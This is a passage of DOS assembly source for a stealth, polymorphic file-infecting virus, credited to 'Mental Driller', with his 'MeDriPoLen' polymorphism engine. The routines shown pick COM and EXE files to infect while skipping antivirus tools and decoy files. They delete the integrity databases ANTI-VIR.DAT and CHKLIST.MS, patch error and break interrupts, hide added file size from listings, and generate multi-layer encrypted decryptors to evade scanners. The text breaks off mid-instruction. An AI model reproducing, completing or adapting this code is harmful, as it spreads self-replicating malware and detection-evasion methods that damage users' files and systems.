;) FakeHandle PROC INC BYTE PTR CS:[ControlFunc44h-200h] MOV CS:[AntHandle-200h], BX ; Save original handle IN AL, 40h ; Get a random handle in BX AND AL, 03h ; between 0 and 3 XOR BH, BH MOV BL, AL MOV AH, 35h ; Duplicate system handle CALL Int21h MOV CS:[FakedHandle-200h], AX ; Save duplicated handle MOV AH, 2Eh ; Close system handle CALL Int21h MOV BX, CS:[AntHandle-200h] ; Duplicate file handle. Now MOV AH, 35h ; the function returns the CALL Int21h ; closed system handle PUSH AX ; Save handle MOV BX, CS:[AntHandle-200h] ; Close file handle MOV AH, 2Eh CALL Int21h POP BX ; Put in BX the new file handle RET FakeHandle ENDP ControlFunc44h DB 0 ;; UNFAKEHANDLE! It restores all bad made with FAKEHANDLE :) UnfakeHandle PROC MOV AH, 2Eh ; Close actual handle on BX CALL Int21h MOV AH, 35h ;Duplicate the duplicated system handle. The MOV BX, CS:[FakedHandle-200h] ; function will return the CALL Int21h ; faked system handle. We leave it opened. MOV AH, 2Eh ;Close the duplicated file handle. Now every CALL Int21h ; handle is like before DEC BYTE PTR CS:[ControlFunc44h-200h] RET ; Return UnfakeHandle ENDP ;; Executable type (0=COM, 1=EXE) TipoEjec DB 0 ;; Memory write zone Basura15 dw 0 ;; Routine to read the file header LeeCabecera PROC CALL PtrInicio ; Put pointer to the beginning MOV AH, 2Fh ; Read 24 bytes of header MOV CX, 0018h MOV DX, Offset Cabecera-200h MOV SI, DX CALL Int21h RET ; Return LeeCabecera ENDP ;; Routine to put handle pointer in the beginning of the file PtrInicio PROC XOR AX, AX ; AX=DX=0 XOR DX, DX MOV ES:[DI+15h], AX ; Put new pointer MOV ES:[DI+17h], AX RET ; Return PtrInicio ENDP ;; Procedure to put handle pointer in the end of the file PtrFinal PROC MOV AX, ES:[DI+11h] ; Get file size in DX-AX MOV ES:[DI+15h], AX MOV DX, ES:[DI+13h] ; Put this value like file pointer MOV ES:[DI+17h], DX RET PtrFinal ENDP ;; Procedure to put handle pointer in the end minus 1A bytes PtrCasiFinal PROC MOV AX, ES:[DI+11h] ; Get file size MOV DX, ES:[DI+13h] SUB AX, +1Ah ; Subtract 1A bytes from file size SBB DX, +00h MOV ES:[DI+15h], AX ; Put this value like pointer MOV ES:[DI+17h], DX RET ; Return PtrCasiFinal ENDP ;; Routine to get information about the name of the file from its SFT. The ;; routine will return Carry Flag if it hasn't a convenient name. OperaHandle PROC PUSH BX ; Get in DS:DI the System File Table MOV AX, 1220h INT 2Fh JC @@Retorna MOV BL, ES:[DI] CMP BL, 0FFh JZ @@Retorna MOV AX, 1216h INT 2Fh JC @@Retorna PUSH ES POP DS MOV AX, [DI+28h] ; Get extension on AL-AH-CL MOV CL, [DI+2Ah] ADD CL, 0B3h ; If CL was "M", now CL=0 ADD AX, 0B0BDh ; If AX was "CO", now AX=0 JZ @@COMdeMomento ; If 0, jump CMP AX, 0902h ; Was it "EX"? JNZ @@Retorna ; If it isn't, return with Carry Flag @@EXEdeMomento: CMP CL, 0F8h ; Was the third letter an "E"? JZ @@Sigue001 ; If it was, jump and continue JMP @@Retorna ; Return (error) @@COMdeMomento: OR CL, CL ; Was the third letteer an "M"? (when the ; first two bytes where a "CO") JNZ @@Retorna ; If not, exit with Carry Flag @@Sigue001: MOV AX, [DI+20h] ;Get two first letters of file name in AX CMP AX, 'CS' ; AX="SC"? (SCAN) JZ @@Retorna ; If it is, return CMP AX, 'BT' ; AX="TB"? (ThunderByte) JZ @@Retorna ; If it is, return CMP AX, '-F' ; AX="F-"? (F-Prot) JZ @@Retorna ; If it is, return MOV CX, 0008 ; Search a digit or a "V" in the name. If ADD DI, 0020h ; it exists, return with Carry Flag MOV AL, 'V' @@LLCD: CMP BYTE PTR ES:[DI], '0' JB @@LLCD2 CMP BYTE PTR ES:[DI], '9' JBE @@Retorna @@LLCD2: SCASB JZ @@Retorna LOOP @@LLCD SUB DI, 0008h ; Is it the "COMMAND.COM"? CMP WORD PTR [DI], 'OC' JNZ @@Retorna2 CMP WORD PTR [DI+2], 'MM' JZ @@Retorna ; If it is, return with Carry Flag @@Retorna2: SUB DI, 0020h CLC JMP @@Salto00 ; End. @@Retorna: STC @@Salto00: POP BX RET OperaHandle ENDP ;; Procedure to change attributes and access mode on handle CambiaAtributos PROC MOV AX, ES:[DI] ; Get first word on SFT MOV [Anterior_Count-200h], AX ; Save it MOV WORD PTR ES:[DI], 0FFFFh ; SFT is now busy MOV AL, ES:[DI+04] ;Get file attributes and sa- MOV [Atributos-200h], AL ; ve them MOV BYTE PTR ES:[DI+04], 0 ; Clear attributes MOV AX, ES:[DI+02] ; Change access mode to MOV WORD PTR [ModoAcceso-200h], AX ; read/write MOV WORD PTR ES:[DI+02], 0002h RET ; End. CambiaAtributos ENDP ;; Procedure to check if the file size is multiple of 512 or 500 MiraSiRoundedSize PROC PUSH AX PUSH DX MOV CX, 200h ; 512 DIV CX OR DX, DX ; If remainder=0, bad thing (it could be POP DX ; a goat file) POP AX JZ @@Retorna PUSH AX PUSH DX MOV CX, 1F4h ; 500 DIV CX OR DX, DX ; If remainder=0, bad thing (it could be POP DX ; a goat file). POP AX @@Retorna: RET MiraSiRoundedSize ENDP ;; Little DATA section for the "CambiaAtributos" and "RestauraAtributos" ;; routine Atributos DB 0 Anterior_Count DW 0 ModoAcceso DW 0 ;; This part is very used in the virus (place where the time/date fields are ;; saved during dis/infection) Hora DW 0 Fecha DW 0 ;; Procedure to restore file attributes RestauraAtributos PROC MOV AX, [Anterior_Count-200h] ; Restore all MOV ES:[DI], AX MOV AL, [Atributos-200h] MOV ES:[DI+04], AL MOV AX, [ModoAcceso-200h] MOV ES:[DI+02], AX RET ; End RestauraAtributos ENDP ;; Routine to patch int 24h, 1Bh and 23h ParcheaInt24h PROC PUSH EAX ; Save registers PUSH BX PUSH DS PUSH ES XOR AX, AX ; Get int 24h vector on ES:BX MOV DS, AX LES BX, DWORD PTR DS:[24h*4] MOV EAX, DWORD PTR CS:[BytesInt24h-200h] ; Exchange first XCHG EAX, ES:[BX] ;five bytes with the construc- MOV DWORD PTR CS:[BytesInt24h-200h], EAX ; ted jump to our MOV AL, BYTE PTR CS:[BytesInt24h-200h+4] ; int 24h XCHG AL, ES:[BX+4] MOV BYTE PTR CS:[BytesInt24h-200h+4], AL LES BX, DWORD PTR DS:[1Bh*4] ; Get vector to int 1Bh and MOV AL, CS:[ByteInt1Bh-200h] ; patch it with an IRET XCHG AL, ES:[BX] MOV CS:[ByteInt1Bh-200h], AL LES BX, DWORD PTR DS:[23h*4] ; The same for int 23h MOV AL, CS:[ByteInt23h-200h] XCHG AL, ES:[BX] MOV CS:[ByteInt23h-200h], AL LES BX, DWORD PTR DS:[2Ah*4] MOV AL, CS:[ByteInt2Ah-200h] XCHG AL, ES:[BX] MOV CS:[ByteInt2Ah-200h], AL POP ES ; Recover registers POP DS POP BX POP EAX RET ; Return ParcheaInt24h ENDP ;; Zone where the 32 bit jump is constructed BytesInt24h DB 5 DUP (0) ;; Program of int 24h ProgramaInt24h: MOV AL, 03 ; Ignore error MOV BYTE PTR CS:[EstadoInt24h-200h], AL ; An error has IRET ; happened! and ; return ByteInt1Bh DB 0CFh ; Iret ByteInt23h DB 0CFh ; Iret ByteInt2Ah DB 0CFh ; Iret ;; Procedure to get the name of the file that will be terminated with a "ter- ;; minate execution" function ObtenNombre PROC MOV AH, 52h ; Get PSP CALL Int21h MOV ES, BX MOV ES, WORD PTR ES:[002Ch] ; Get Environment-Block seg- ; ment in ES XOR DI, DI XOR AL, AL CLD @@Loop01: SCASB ; Search for a double 0 JNZ @@Loop01 SCASB JNZ @@Loop01 INC DI ; Increase DI to get on ES:DI the name of the INC DI ; file currently in execution MOV DX, DI PUSH ES ; Return the name in DS:DX POP DS RET ; Return ObtenNombre ENDP ;;;; EMULATION OF "INT 21h". It has an error handler, so, if int 24h is ca- ;;;; lled, int 21h will return Carry Flag Int21h PROC ; Put 0 on the error variable. Int MOV BYTE PTR CS:[EstadoInt24h-200h], 0 ; 24h set this to 3 ADD AH, 10h ; Call traced int 21h PUSHF CALL DWORD PTR CS:[AntInt21h-200h] PUSHF ; Save flags CMP BYTE PTR CS:[EstadoInt24h-200h], 3 ; Int 24h error? JZ @@Error ; Then, jump POPF ; Restore flags and exit RET @@Error: POPF ; Nivelate stack STC ; Set Carry Flag RET ; Return Int21h ENDP ;;; Procedure to check if stealth must be avoided or not MirarsiStealth PROC MOV AX, WORD PTR ES:[DI+20h] ; Get first two bytes of the ; file name in AX CMP AX, 'HC' ; Check if file is CHKDSK JNZ @@Salta1 CMP WORD PTR ES:[DI+22h], 'DK' ; JNZ @@Salta1 CMP WORD PTR ES:[DI+24h], 'KS' JZ @@ActivaStealth ; If it is, don't do stealth @@Salta1: CMP AX, 'KP' ; heck if file is PK* (PKZIP,etc.) JZ @@ActivaStealth ; If it is, don't do stealth CMP AX, 'RA' ; "ARJ"? JNZ @@Salta2 CMP BYTE PTR ES:[DI+22h], 'J' JZ @@ActivaStealth ; Don't do stealth, then @@Salta2: CMP AX, 'AR' ; "RAR"? JNZ @@Salta3 CMP BYTE PTR ES:[DI+22h], 'R' JZ @@ActivaStealth ; Don't do stealth, then @@Salta3: CMP AX, 'HL' ; "LH*"? (LHARC, LHA, etc.) JZ @@ActivaStealth ; Don't do stealth, then MOV BYTE PTR CS:[NoStealth-200h], 0 ; DO stealth! RET ; Return @@ActivaStealth: MOV BYTE PTR CS:[NoStealth-200h], 1 ; DON'T do stealth! RET ; Return MirarsiStealth ENDP ;; Memory write zone Basura16 dw 0 ;; Routine to get SFT from a handle. The SFT address is returned in ES:DI GetSFT PROC PUSH BX MOV AX, 1220h ; Get Job File Table INT 2Fh JC @@KKVF MOV BL, ES:[DI] ; Get in BL the number of SFT CMP BL, 0FFh ; ¨Is the handle opened? JZ @@KKVF ; If it isn't, return with Carry Flag MOV AX, 1216h ; Get System File Table INT 2Fh JC @@KKVF ; If Carry, return with Carry :) TEST BYTE PTR ES:[DI+05h], 80h JNZ @@KKVF ; If remote file, error POP BX CLC ; Clear Carry Flag and exit RET @@KKVF: POP BX STC ; Set Carry Flag and exit RET GetSFT ENDP ;; Procedure to do a checksum of the file name and compare it to the checksum ;; of the file infected before. If it differs by 1, returns with Carry Flag. ;; This is done to avoid goat files. With following names, only the first file ;; will be infected. CompruebaNombre PROC CMP BYTE PTR CS:[Desinfeccion-200h], 01 ; Infecting KEYB? JNZ @@Sigue ; If not, continue DEC BYTE PTR CS:[Desinfeccion-200h] ; Put 0 on this field JMP @@Infectar ; and return without Carry Flag @@Sigue: MOV BP, 0007 XOR AL, AL ; Add all letters from file name in @@Loopeo: ADD AL, ES:[BP+DI+20h] ; AL DEC BP JNC @@Loopeo MOV AH, BYTE PTR CS:[SumaNombre-200h] ; Exchange the new MOV BYTE PTR CS:[SumaNombre-200h], AL ; value with old va- SUB AL, AH ; lue and subtract old from new CMP AL, 01 ; If result is 1 or -1, return with JZ @@NoInfectar ; Carry Flag CMP AL, 0FFh JZ @@NoInfectar @@Infectar: CLC RET @@NoInfectar: STC RET CompruebaNombre ENDP ;; Memory write zone Basura17 dw 0 ;; Procedure to delete ANTI-VIR.DAT and CHKLIST.MS BorraDATs PROC PUSHA ; Save registers PUSH DS PUSH ES MOV SI, DX ; DS:SI=Filename address PUSH CS POP ES ; ES:DI=Buffer address MOV DI, Offset NewVirus-200h MOV BP, DI ; Save last segmentation on file name ("\" or MOV CX, 0100h ; ":"). CLD @@Loop1: LODSB ; Copy a character in both destination and AL STOSB CMP AL, ':' ; AL=":"? JNZ @@Sigue001 ; If not, continue @@Sigue002: MOV BP, DI ; Save position JMP @@Loop1 ; Again @@Sigue001: CMP AL, '\' ; AL="\"? JZ @@Sigue002 ; If it is, save position and continue OR AL, AL ; AL=0? (end of name) JZ @@Sigue003 ; Jump and continue with the procedure LOOP @@Loop1 ; Repeat comparisions with next character @@Sigue003: JCXZ @@FinError ; If CX=0 (we've reached the limit), exit MOV DI, BP ; Put in DI the last "\" or ":" reached PUSH CS POP DS MOV SI, Offset ArchivoDAT1-200h ; Copy "ANTI-VIR.DAT" here MOV CX, 000Dh REP MOVSB MOV DX, Offset NewVirus-200h ; Clear file attributes MOV AX, 3301h CALL Int21h JC @@SigueconelOtro ; If error, do next MOV AH, 31h ; Delete file CALL Int21h @@SigueconelOtro: MOV SI, Offset ArchivoDAT2-200h ; Copy "CHKLIST.MS" to the MOV DI, BP ;position where "ANTI-VIR.DAT" MOV CX, 000Bh ; was copied REP MOVSB MOV AX, 3301h ; Clear its attributes CALL Int21h JC @@FinError ; If error, exit MOV AH, 31h ; Delete file CALL Int21h @@FinError: POP ES ; Restore attributes POP DS POPA RET ; Return BorraDATs ENDP ArchivoDAT1 DB 'ANTI-VIR.DAT',0 ArchivoDAT2 DB 'CHKLIST.MS',0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;-------------------------------------------------------------------------;;; ;;--------------P-O-L-Y-M-O-R-P-H-I-S-M-----E-N-G-I-N-E--------------------;;; ;;-------------------------------------------------------------------------;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Initially it hasn't no name, it just was "Squatter's poly engine". But I ;; know that it would sound silly in places like VDAT. Then, I searched for a ;; name, and I found one: "MeDriPoLen", Mental Driller's Polymorphism Engine. ;; I don't know how it sounds in english, but in spanish it is a kind of joke, ;; because it's very near to "Ciripolen", a spanish "moral-upper", a kind of ;; aphrodysiac :) . So, let's redefine the title... ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;-------------------------------------------------------------------------;;; ;;--------------------M-e-D-r-i-P-o-L-e-n-----v-0-.-1----------------------;;; ;;-M-e-n-t-a-l---D-r-i-l-l-e-r-'s---P-o-l-y-m-o-r-p-h-i-s-m---E-n-g-i-n-e--;;; ;;-------------------------------------------------------------------------;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; I hope it'll be one of the polymorphiest engines, because, if it isn't, I'll ; crap on anything :) (it was a hard work) ;;; Some little explanations: ;; The first decryptor that will be made is the second in order of execution. ;; More or less, the scheme of execution is: ;; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&&&&&&&&&&&%%%%%%%%%%%% ;; VIRUS BODY (ENCRYPTED WITH 2 POLYMORPHIC DECRYPTOR FIRST DECRYPTOR ;; LAYERS, WITH THE FIRST AND THE SECOND (ENCRYPTED (NOT ENCRYPTED) ;; DECRYPTOR) WITH 1st DECRYPTOR) ;; --> --> --> --> --> --> --> --> --> --> --> --> --> --> ;; ;; The initial entrypoint is located on the first decryptor (but it's the se- ;; cond built by the engine). ;; The polymorphism will be always the same during 4 days and depending the ;; system (it initializes random seed using date and some values from the In- ;; terrupt Vector Table), so the virus can be qualificated like "slow polymor- ;; phic". ;; ;; Additionally, a third polymorphic decryptor has been added. It's little and ;; simple, and I catalogued it as "semi-polymorphic". ;; ;; The construction of a decryptor follows a Flag Register (BP), where a kind ;; of configuration bits are used to make the decryptor. This flags are like ;; it follows: ;; Bit 0: Count number of loops: 0:Decreasing counter, 1:Increasing it ;; Bit 1: Add a word value to the index register (for example, [BX+459D]): ;; 0: NO, 1: YES ;; Bit 2: Modify key of decryption every loop: 0:NO, 1:YES ;; Bits 3 and 4: Method of decryption: ;; 0 and 0:XOR; 0 and 1:ADD; 1 and 0:SUB; 1 and 1:XOR ;; Bits 5 and 6: If 4th bit is set, then modify key with a: ;; 0 and 0:XOR; 0 and 1:ADD; 1 and 0:SUB; 1 and 1:ROL,1 ;; Bit 7: Encrypt by 0=word, 1=byte ;; Bit 8: 0: Don't use register to decrypt (direct value decrypting) ;; 1: Use register to decrypt (decrypt key in a register) ;; Bit 9: If it decrypts by register AND register is ?X AND it decrypts byte ;; to byte then: ;; 0: Use low byte of register (?L), 1:Use high byte of register (?H) ;; Bits 10 and 11: Use next method to jump to next decryptor or to virus ;; body: ;; 0 and 0: JMP ;; 0 and 1: RET ;; 1 and 0: REFT or RET 2 ;; 1 and 1: IRET, RETF 2 or RET 4 ;; ;; Bits 13 and 14: If the counter register is CX AND register is decreased in ;; every decryption loop, then: ;; 0 and 0: Don't use any LOOP instruction like below ;; 0 and 1: Use LOOPNZ to loop ;; 1 and 0: Use LOOPZ to loop ;; 1 and 1: Use LOOP to loop ;; Bit 15: Unused (maybe set in future versions) ;; Note that only the engine takes as size as a polymorphic multipartite ;; full-stealth virus :) . HazVirus PROC PUSH ES ; Save registers PUSH BX PUSH SI PUSH DI MOV BYTE PTR [AntiEmulacion-200h], 5 ; Set to non 0 CMP BYTE PTR [InstalacionPoli-200h], 0 ; Initialize ran- ; dom seed? JNZ @@NoInicAleatorio ; If not 0, don't initialize CALL InicAleatorio ; Initialize random seed PUSH EAX ; Save EAX MOV EAX, DWORD PTR [WordAleatorio1-200h] ;Save random seed MOV DWORD PTR [AntAleatorio-200h], EAX ;to use it in ano- MOV AX, WORD PTR [WordAleatorio3-200h] ; ther infection MOV WORD PTR [AntAleatorio-200h+4], AX ; (slow poly.) POP EAX INC BYTE PTR [InstalacionPoli-200h] ; Set to non 0 JMP @@SiInicAleatorio @@NoInicAleatorio: PUSH EAX ; Recover last random seed. Every infec- MOV EAX, DWORD PTR [AntAleatorio-200h] ; tion, until next MOV DWORD PTR [WordAleatorio1-200h], EAX ; intallation of MOV AX, WORD PTR [AntAleatorio-200h+4] ;the virus in memo- MOV WORD PTR [WordAleatorio3-200h], AX ; ry, the polymor- POP EAX ; phism doesn't change @@SiInicAleatorio: CLD MOV AX, [InicioVirus-200h+1+16h] ;AX=Initial delta-offset ; Set counter size on second decryptor MOV WORD PTR [TamanyoContador-200h], LongVirus MOV BYTE PTR [NumeroCALLs-200h], 0 ;Initialize amount of XOR SI, SI ; CALLs PUSH CS ; Copy virus in memory to "NewVirus" POP ES MOV DI, Offset NewVirus-200h MOV CX, LongVirus / 2 ;;; New part (adds a semi-polymorphic decryptor in the beginning). Until ;; UPCASE again call Aleatorio ; Get a random number in AX mov [WordEncriptado-200h], ax ; Put it as decryption key mov dx, ax ; Copy all the virus to ES:DI encryp- @@Loop_0: lodsw ; ted with this word xor ax, dx stosw loop @@Loop_0 push di ; Save DI mov di, Offset NewVirus - 200h ; DI = address where the ; virus will be constructed push di ; Save DI again mov cx, 0016h ; Maximum size of this decryptor mov al, 90h ; Store 22 NOPs rep stosb pop di ; Restore DI @@Loop_1: call Aleatorio ; Get a random registre in AL and al, 7 cmp al, 4 ; Check if AL = 4 (SP registre) jz @@Loop_1 ; If it is, repeat mov [RegistroEncriptado-200h], al ; Put as key registre and ah, 3 ; Get an index registre add ah, 3 cmp ah, 4 ; Check if AH=3 jb @@Salta001 ; If it is, jump add ah, 1 ; Add 1 to AH cmp ah, 5 ; Check if AH = registre BP jz @@Loop_1 ; If it is, jump and repeat @@Salta001: cmp ah, al ; Check if the two selected registres ; are equal jz @@Loop_1 ; If they are, jump mov [RegistroIndice-200h], ah ; Put AH as index registre mov dx, ax ; Put both registres in DH and DL @@Loop_2: call Aleatorio ; Get a random registre and al, 7 cmp al, dh ; Check if it's the same as another jz @@Loop_2 ; before. If it is, repeat cmp al, dl jz @@Loop_2 cmp al, 4 ; Is it SP? jz @@Loop_2 ; If it is, repeat mov [RegistroContador-200h], al ; Put it as counter reg. mov bx, offset PonContador_X - 200h ;Call "PonContador_X", mov cx, offset PonIndice_X - 200h ; "PonIndiceX" and mov dx, offset PonEncriptador_X - 200h ;"PonEncriptador_X" mov si, offset @@Retorno - 200h ; with a random order call BarajaYLlama mov [InicLoop-200h], di ; Put here the address of the ; begin of the loop mov ax, 312eh ; XOR CS:[xxx] instruction stosw ; Store it mov al, [RegistroIndice-200h] ; Get index registre sub al, 2 ; Subtract 2 cmp al, 1 ; Check if it is BX ja @@KK0 ; If not, jump mov al, 7 ; AL = 7 @@KK0: mov dl, [RegistroEncriptado-200h] ; Get key registre in DL rol dl, 3 ; Multiply it by 8 add al, dl ; Construct opcode with memory index ; and key registre stosb ; Complete the decryption instruction mov dl, [RegistroIndice-200h] ; Get index registre in DL mov ax, 0fffeh ; AX = -2 push ax ; Push it call Aleatorio ; Get a random number between 0 and 3 and al, 3 jz @@PonINCINC ; If 0, put INC Reg/INC Reg cmp al, 2 jb @@PonSUB ; If 1, put SUB Reg jz @@PonADD ; If 2, put ADD Reg ; If 3, put another type of SUB @@PonSUB2: mov ax, 0e883h ; SUBtract a signed word (but byte in ; the opcode) add ah, dl ; Set registre to utilize stosw ; Store instruction pop ax ; Pop ax, which was -2 stosb ; Store -2 (but only a byte) jmp @@Sigue2 ; Jump and continue @@PonSUB: mov ax, 0e881h ; SUBtract a word add ah, dl ; Set the registre to the instruction stosw ; Store the instruction pop ax ; Pop ax (AX=FFFEh) jmp @@Sigue1 ; Jump to store it @@PonADD: mov ax, 0c081h ; AX = opcode of ADD instruction add ah, dl ; Set the registre stosw ; Store it pop ax ; Get AX from stack neg ax ; Negate AX (AX=2) jmp @@Sigue1 ; Jump to store it @@PonINCINC: call SioNo ; Random Zero Flag pop ax ; Restore AX (AX=-2) xchg ah, al ; exchange AH and AL jz @@PonINCINC2 ; If Zero Flag, jump mov al, 40h ; AL = opcode of INC AX add al, dl ; Add registre number to opcode to ; set the registre to utilize stosb ; Store two INCs stosb jmp @@Sigue2 ; Jump and continue @@PonINCINC2: mov ah, 0c0h ; AH = C0h, so opcode=FFC0h in AX add ah, dl ; Set registre to instruction stosw ; Store two INCs @@Sigue1: stosw @@Sigue2: mov dl, [RegistroContador-200h] ; Get counter in DL cmp dl, 1 ; Test if counter is CX jz @@CX ; If it is, jump @@Todos: mov al, 48h ; AL = opcode of DEC add al, dl ; Set registre to opcode stosb ; Store it call Aleatorio ; Get a random number between 0 and 3 and al, 3 mov bx, offset Saltos - 200h ; BX = address where there ; are some conditional jump ; opcodes, which are useful ; to this comparision xlat ; Get a random cond. jump @@Sigue: stosb ; Store it mov ax, [InicLoop-200h] ; Get the initial address of the ; decryption loop sub ax, di ; Calculate displacement dec ax stosb ; Complete jump instruction jmp @@Sigue3 ; Jump and continue @@CX: call SioNo ; Random Zero Flag jz @@Todos ; If Zero Flag, do DEC CX/Jxx... mov al, 0e2h ; AL = opcode of LOOP jmp @@Sigue ; Jump to complete instruction @@Sigue3: pop di ; Restore DI MOV WORD PTR [LongDesencrip-200h], 0 ; Second decryptor ; (if it were the first, it won't ; be 0) CALL HazVirus2 ; Generate decryptor in ES:DI MOV CX, [LongDesencrip-200h] ; Encrypt the virus body ADD CX, LongVirus ; using the random values ge- MOV [TamanyoContador-200h], CX ; nerated while construc- MOV CX, LongVirus ; ting the decryptor CALL CriptaVirus MOV DI, [LongDesencrip-200h] ;Get size of second decryptor ADD DI, LongVirus ; Add size of clean virus MOV CX, DI ; Put it on CX ADD CX, [InicioVirus-200h+1+16h] ; Add Delta-offset to get ; initial entry-point on the ; infected file PUSH DI ; Save DI ADD DI, Offset NewVirus - 200h ; Put on DI the address ; where the first decryptor ; will be constructed MOV WORD PTR [InicValoresEXE-200h+0Ch], CX ; IP on EXE ; initial register values CALL HazVirus2 ; Construct first decryptor POP CX ; Revalue CX with saved DI to PUSH CX ;encrypt with the first layer CALL CriptaVirus ; both virus (again) and se- ; cond decryptor POP CX ; Restore CX MOV DX, CX ;Add bytes to constructed vi- ADD CX, [LongDesencrip-200h] ; rus until it reaches the MOV DI, Offset NewVirus-200h ; static size of (LongVirus2- ADD DI, CX ; -1Ah) MOV BX, LongVirus2 - 001Ah SUB BX, CX JZ @@KKDCD JB @@CCCDC ; If there is an error on size (too ; long), put 0 in CX and exit @@LCLC: CALL Aleatorio STOSB DEC BX JNZ @@LCLC @@KKDCD: MOV BP, LongVirus2 ; Now add a pseudo-random amount of MOV CX, [Hora-200h] ; bytes to achieve different virus AND CX, 1FE0h ; sizes in every file, but the ROR CX, 5 ; stealth has to continue working. I JCXZ @@FinNN ; used a little trick to do this, and PUSH CX ; it consisted on adding the result @@JJJJJV: CALL Aleatorio ; of a little operation with the hour STOSB ; and minutes of the file. Then, it's LOOP @@JJJJJV ; very easy to subtract this size ; when DIR is made, for example POP CX ; Restore CX @@FinNN: ADD CX, BP ; Now encrypt the file header and add PUSH CX ; it to the end of the file. Then add MOV CX, 0018h ; the byte-key of encryption and the CALL Aleatorio ; real seconds of the file MOV SI, Offset Cabecera2-200h PUSH CS POP ES @@Loopeo: LODSB XOR AL, AH ; Here it crypts every byte of the STOSB ; header LOOP @@Loopeo MOV AL, AH STOSB MOV AL, BYTE PTR [Hora-200h] STOSB POP CX ; Here, there is a constructed virus @@KK34: POP DI ; in "NewVirus", that only has to be POP SI ; added to the file to go well. POP BX POP ES @@Retorno: RET @@CCCDC: XOR CX, CX ; 0 to CX (error) JMP @@KK34 ; Jump and exit HazVirus ENDP ;;; This routines are for the little decryptor in the beginning PonContador_X proc mov cx, LongVirus / 2 ; This puts a MOV with the value mov dl, [RegistroContador-200h] ; of the counter to the jmp PonMOV_X ; counter registre PonContador_X endp PonIndice_X proc mov cx, [InicioVirus-200h+1+16h] ; This puts a MOV with add cx, 0016h ; the initial value of the mov dl, [RegistroIndice-200h] ; index registre to the in- jmp PonMOV_X ; dex registre PonIndice_X endp PonEncriptador_X proc mov cx, [WordEncriptado-200h] ; This puts the MOV to set mov dl, [RegistroEncriptado-200h] ; value to the key re- PonEncriptador_X endp ; gistre ;; This routine constructs a direct MOV PonMOV_X proc call Aleatorio ; Get a random number between 1 and 3 and al, 3 jz PonMOV_X cmp al, 2 ; Check what MOV we are going to put jb @@PonMOV1 jz @@PonMOV2 @@PonMOV3: mov ax, 068dh ; Put LEA Reg,[Value] rol dl, 3 @@Fin2: or ah, dl stosw @@Fin: mov ax, cx stosw ret @@PonMOV1: mov al, 0b8h ; Put MOV Reg,Value (1 byte + value) add al, dl stosb jmp @@Fin @@PonMOV2: mov ax, 0c0c7h ; Put MOV Reg,Value (2 bytes + value) jmp @@Fin2 PonMOV_X endp ;; Identification of the engine Ident db 0,'[MeDriPolEn v0.1]',0 ;;; Procedure to encrypt an especified amount of an especified part of virus CriptaVirus PROC MOV SI, Offset NewVirus-200h ; Begin to crypt here MOV AX, [WordEncriptado-200h] ; Key of encryption MOV DX, [WordCambio-200h] ; Word for change key MOV BP, [Banderas-200h] ; Flags of decryptor TEST BP, 0080h ; Crypt by byte or word? JNZ @@JJJC ; If byte, jump SHR CX, 1 ; Divide counter by 2 @@JJJC: MOV BL, 01 ; Crypt by word (in BL) TEST BP, 0080h ; Byte or word? JZ @@JKJC ; If word, jump XOR BL, BL ; Crypt by byte @@JKJC: TEST BP, 0010h ; XOR, ADD or SUB? (in decryptor) JZ @@PonXORoADD ; If XOR or ADD, jump TEST BP, 0008h ; XOR or SUB? JZ @@Siggg ; If SUB, jump and BL=opcode of ADD @@PonXOR: ADD BL, 30h ; BL=Opcode of XOR JMP @@Siggg ; Jump @@PonXORoADD: TEST BP, 0008h ; Test XOR or ADD JZ @@PonXOR ; If XOR, jump @@PonADD: ADD BL, 28h ; BL=Opcode of SUB @@Siggg: MOV BYTE PTR [OpcodeCrip-200h], BL ; Construct crypt ins- ; truction TEST BP, 0080h ; Word crypting? JZ @@SiguR ; Then, jump TEST BP, 0100h ; Direct crypting? (no register) JZ @@SiguR ; Then, jump TEST BP, 0200h ; High byte of register? (AH to DH) JZ @@SiguR ; If not, jump CMP BYTE PTR [RegistroEncriptado-200h], 03h ;If key isn't JA @@SiguR ; a ?X type register, jump OR BYTE PTR [Offset OpcodeCrip-200h+1], 20h ;Set crypting ; by the high byte of the key register JMP @@Siguu ; Jump and continue @@SiguR: AND BYTE PTR [Offset OpcodeCrip-200h+1], 0DFh ; Set crypt- JMP @@Siguu ; ting by the low byte of the key register ; and clear prefetch queue OpcodeCrip LABEL BYTE @@Siguu: XOR [SI], AL ; Encrypt byte/word TEST BP, 0100h ; If direct crypting (no key register), jump JZ @@Siguuu TEST BP, 0004h ; Modify key? JZ @@Siguuu ; If not, jump TEST BP, 0040h JZ @@ModifXORADD @@ModifSUBROL: TEST BP, 0020h JZ @@ModifSUB @@ModifROL: ROL AX, 1 ; Modify key by ROL xx,1 JMP @@Siguuu @@ModifSUB: SUB AX, DX ; Modify key by SUB JMP @@Siguuu @@ModifXORADD: TEST BP, 0020h JZ @@ModifXOR @@ModifADD: ADD AX, DX ; Modify key by ADD JMP @@Siguuu @@ModifXOR: XOR AX, DX ; Modify key by XOR @@Siguuu: TEST BP, 0080h ; Word or byte? JNZ @@Siguu2 ; Jump if byte INC SI @@Siguu2: INC SI ; Increase index LOOP @@Siguu ; Repeat RET CriptaVirus ENDP ; End of procedure ;;;;;; THIS IS THE MAIN PROCEDURE ON THE ENGINE. IT CREATES A DECRYPTOR WITH ;;;; THE DATA SET BEFORE HazVirus2 PROC ; This variable controls when the decryptor can perform a CALL to any ; CALL on the decryptor, not only the routine immediately above. When ; 0, it can't MOV BYTE PTR [LoopYaEsta-200h], 0 ; Clear "used register" fields. This is for indexed memory writes MOV DWORD PTR [RegistrosUsados-200h], 0 MOV DWORD PTR [RegistrosUsados-200h+4], 0 MOV BYTE PTR [SaltoLoopTipo0-200h], 0 MOV WORD PTR [NoBasura-200h], 0 CALL Aleatorio ; One posibility in 64 that the decryptor AND AL, 3Fh ; doesn't have garbage JNZ @@XXCXCS MOV BYTE PTR 